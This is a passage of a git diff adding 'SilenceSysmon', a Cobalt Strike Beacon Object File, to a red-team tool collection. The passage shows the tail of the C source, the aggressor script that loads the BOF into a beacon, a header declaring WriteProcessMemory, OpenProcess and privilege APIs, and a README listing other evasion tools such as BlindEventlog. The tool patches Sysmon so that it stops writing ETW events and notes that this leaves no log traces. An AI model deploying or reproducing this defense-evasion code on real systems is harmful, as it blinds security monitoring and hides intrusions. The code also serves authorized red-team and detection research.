+			BeaconPrintf(CALLBACK_OUTPUT, "[+] DONE! Sysmon successfully silenced!\n");
+			KERNEL32$CloseHandle(hProc);
+		}
+		else BeaconPrintf(CALLBACK_ERROR, "Failed to open a handle to the Sysmon process!\n");
+	}
+	else BeaconPrintf(CALLBACK_ERROR, "Please specify the correct process ID of the Sysmon service!\n");
+	
+
+	return 0;
+}

+ 30 - 0
KIT/SilenceSysmon/silencesysmon.cna

@@ -0,0 +1,30 @@
+# author REDMED-X
+
+beacon_command_register(
+	"silencesysmon", "Silence Sysmon by patching its capability to write ETW events to the log.\n",
+	"INFO:\nSilence the Sysmon service by patching its capability to write ETW events to the log.\nRestarting the Sysmon service or the system itself will clear the patch and Sysmon will resume working normally.\nAltough this will not leave any traces in the log, there will be a time gap between the last and first new event.\n\nOPTIONS:\n[pid]: the process ID of the Sysmon service running on the system.\n\n" .
+	"USAGE:\nsilencesysmon <sysmon pid>\n\n");
+
+
+alias silencesysmon {
+    $bid = $1;
+    $pid = $2;
+
+	if ($pid eq "") {
+		berror($bid, "Please specify the process ID of the Sysmon service.\n");
+		return;
+	}
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("silencesysmon.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+	# Pack our arguments
+    $arg_data  = bof_pack($bid, "i", $pid);
+
+	blog($bid, "Tasked to silence Sysmon..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+

+ 25 - 0
KIT/SilenceSysmon/silencesysmon.h

@@ -0,0 +1,25 @@
+#include <windows.h>  
+
+#pragma comment (lib, "advapi32")
+#pragma comment(lib, "mscoree.lib")
+
+#define ENABLE 1
+#define DISABLE 0
+
+
+//SetPrivilege
+DECLSPEC_IMPORT BOOL WINAPI Advapi32$OpenProcessToken(HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle);
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcess();
+DECLSPEC_IMPORT BOOL WINAPI Advapi32$LookupPrivilegeValueA(LPCSTR lpSystemName, LPCSTR lpName, PLUID lpLuid);
+DECLSPEC_IMPORT BOOL WINAPI Advapi32$AdjustTokenPrivileges(HANDLE TokenHandle, BOOL DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength);
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError(void);
+
+//SilentSysmon
+DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T  *lpNumberOfBytesWritten);
+DECLSPEC_IMPORT BOOL WINAPI KERNEL32$FlushInstructionCache(HANDLE hProcess, LPCVOID lpBaseAddress, SIZE_T dwSize);
+
+//main
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
+DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle(HANDLE hObject);
+WINBASEAPI int __cdecl MSVCRT$printf(const char * _Format,...);
+

+ 24 - 1
README.md

@@ -1,2 +1,25 @@
 # OperatorsKit
-Collection of Beacon Object Files (BOF) for Cobalt Strike
+This repository contains a collection of tools that integrate with Cobalt Strike through Beacon Object Files (BOF). 
+
+## Kit content
+The following tools are currently in the operators' kit: 
+
+|Name|Decription|
+|----|----------|
+|**[BlindEventlog](KIT/BlindEvenlog)**|Blind Eventlog by suspending its threads.|
+|**[FindDotnet](KIT/FindDotnet)**|Find processes that most likely have .NET loaded.|
+|**[FindHandle](KIT/FindHandle)**|Find "process" and "thread" handle types between processes.|
+|**[FindLib](KIT/FindLib)**|Find loaded module(s) in remote process(es).|
+|**[FindRWX](KIT/FindRWX)**|Find RWX memory regions in a target process.|
+|**[FindSysmon](KIT/FindSysmon)**|Verify if Sysmon is running through enumerating Minifilter drivers and checking the registry.|
+|**[LoadLib](KIT/LoadLib)**|Load a on disk present DLL via RtlRemoteCall API in a remote process.|
+|**[PSremote](KIT/PSremote)**|List all running processes on a remote host.|
+|**[SilenceSysmon](KIT/SilenceSysmon)**|Silence the Sysmon service by patching its capability to write ETW events to the log.|
+
+## Usage
+Each individual tool has its own README file with usage and compile information. 
+
+## Credits
+A round of virtual applause to [reenz0h](https://twitter.com/SEKTOR7net). Lots of tools in this kit are based on his code examples and ideas from the Malware Development and Windows Evasion courses. I highly recommend taking them!
+
+Furthermore, some code from the [C2-Tool-Collection](https://github.com/outflanknl/C2-Tool-Collection) project is copied to neatly print beacon output.